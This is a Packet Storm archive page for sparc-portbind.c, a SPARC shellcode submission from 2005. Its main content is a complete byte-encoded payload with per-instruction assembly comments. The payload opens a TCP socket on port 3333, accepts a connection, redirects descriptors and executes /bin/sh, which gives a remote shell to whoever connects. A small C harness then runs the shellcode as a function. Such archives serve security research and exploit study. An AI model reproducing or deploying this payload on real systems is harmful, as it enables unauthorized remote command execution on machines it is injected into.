what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

sparc-portbind.c

sparc-portbind.c
Posted Nov 20, 2005
Authored by lhall

Portbinding shellcode for Sparc.

tags | shellcode
SHA-256 | 82f4f156896f731a0acc2503673d75aa915445af4d59607f8244d69eb87717a9

sparc-portbind.c

Change Mirror Download

/*
* lhall@telegenetic.net
* portbind shellcode
* full description of how it was done and defines at
* http://www.telegenetic.net/sparc-shellcode.htm
*/


char shellcode[]=
"\x9A\x1A\x40\x09" /* xor %o1, %o1, %o5 */
"\x90\x10\x20\x02" /* mov PF_INET, %o0 */
"\x92\x10\x20\x02" /* mov SOCK_STREAM, %o1 */
"\x94\x10\x20\x06" /* mov IPPROTO_TCP, %o2 */
"\x96\x1A\x40\x09" /* xor %o1, %o1, %o3 */
"\x98\x22\x20\x01" /* sub %o0, 1, %o4 */
"\x82\x10\x20\xE6" /* mov SYS_SOCKET, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\xA0\x1B\x40\x08" /* xor %o5, %o0, %l0 */
"\xC0\x23\xBF\xF4" /* st %g0, [%sp - 0xc] */
"\xA2\x10\x2D\x05" /* mov 3333, %l1 */
"\xE2\x33\xBF\xF2" /* sth %l1, [%sp - 0xe] */
"\xA2\x10\x20\x02" /* mov AF_INET, %l1 */
"\xE2\x33\xBF\xF0" /* sth %l1, [%sp - 0x10] */
"\x92\x23\xA0\x10" /* sub %sp, 0x10, %o1 */
"\x94\x10\x20\x10" /* mov SOCKADDR_IN_SIZE, %o2 */
"\x82\x10\x20\xE8" /* mov SYS_BIND, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x90\x1B\x40\x10" /* xor %o5, %l0, %o0 */
"\x92\x1B\x40\x0C" /* xor %o5, %o4, %o1 */
"\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2 */
"\x82\x10\x20\xE9" /* mov SYS_LISTEN, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\xA2\x10\x20\x10" /* mov SOCKADDR_IN_SIZE, %l1 */
"\xE2\x23\xBF\xDC" /* st %l1, [%sp - 0x24] */
"\x90\x1B\x40\x10" /* xor %o5, %l0, %o0 */
"\x92\x23\xA0\x20" /* sub %sp, 0x20, %o1 */
"\x94\x23\xA0\x24" /* sub %sp, 0x24, %o2 */
"\x96\x1B\x40\x0C" /* xor %o5, %o4, %o3 */
"\x82\x10\x20\xEA" /* mov SYS_ACCEPT, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\xA4\x1B\x40\x08" /* xor %o5, %o0, %l2 */
"\x90\x1B\x40\x0C" /* xor %o5, %o4, %o0 */
"\x82\x10\x20\x06" /* mov SYS_CLOSE, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2 */
"\x94\x02\x80\x0A" /* add %o2, %o2, %o2 */
"\x90\x1B\x40\x0A" /* xor %o5, %o2, %o0 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x92\x1A\x40\x09" /* xor %o1, %o1, %o1 */
"\x90\x1B\x40\x12" /* xor %o5, %l2, %o0 */
"\x82\x10\x20\x3E" /* mov SYS_FCNTL, %g1 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x90\x1B\x40\x12" /* xor %o5, %l2, %o0 */
"\x94\x1A\x40\x09" /* xor %o1, %o1, %o2 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x94\x1B\x40\x0C" /* xor %o5, %o4, %o2 */
"\x90\x1B\x40\x12" /* xor %o5, %l2, %o0 */
"\x91\xD0\x20\x08" /* ta KERNEL */
"\x21\x0B\xD8\x9A" /* sethi %hi(0x2f626900), %l0 */
"\xA0\x14\x21\x6E" /* or %l0, %lo(0x16e), %l0 */
"\x23\x0B\xDC\xDA" /* sethi %hi(0x2f736800), %l1 */
"\xE0\x3B\xBF\xF0" /* std %l0, [%sp - 0x10] */
"\x90\x23\xA0\x10" /* sub %sp, 0x10, %o0 */
"\xD0\x23\xBF\xF8" /* st %o0, [%sp - 0x8] */
"\x92\x23\xA0\x08" /* sub %sp, 0x8, %o1 */
"\x94\x1A\x80\x0A" /* xor %o2, %o2, %o2 */
"\x82\x10\x20\x3B" /* mov SYS_EXECVE, %g1 */
"\x91\xD0\x20\x08"; /* ta KERNEL */

int
main (int argc, char **argv)
{
int (*ret)(); /* ret is a function pointer */
ret = (int(*)())shellcode; /* ret points to our shellcode */
/* shellcode is typecast as a function */
(int)(*ret)(); /* execute, as a function, shellcode[] */
exit(0); /* exit() */
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close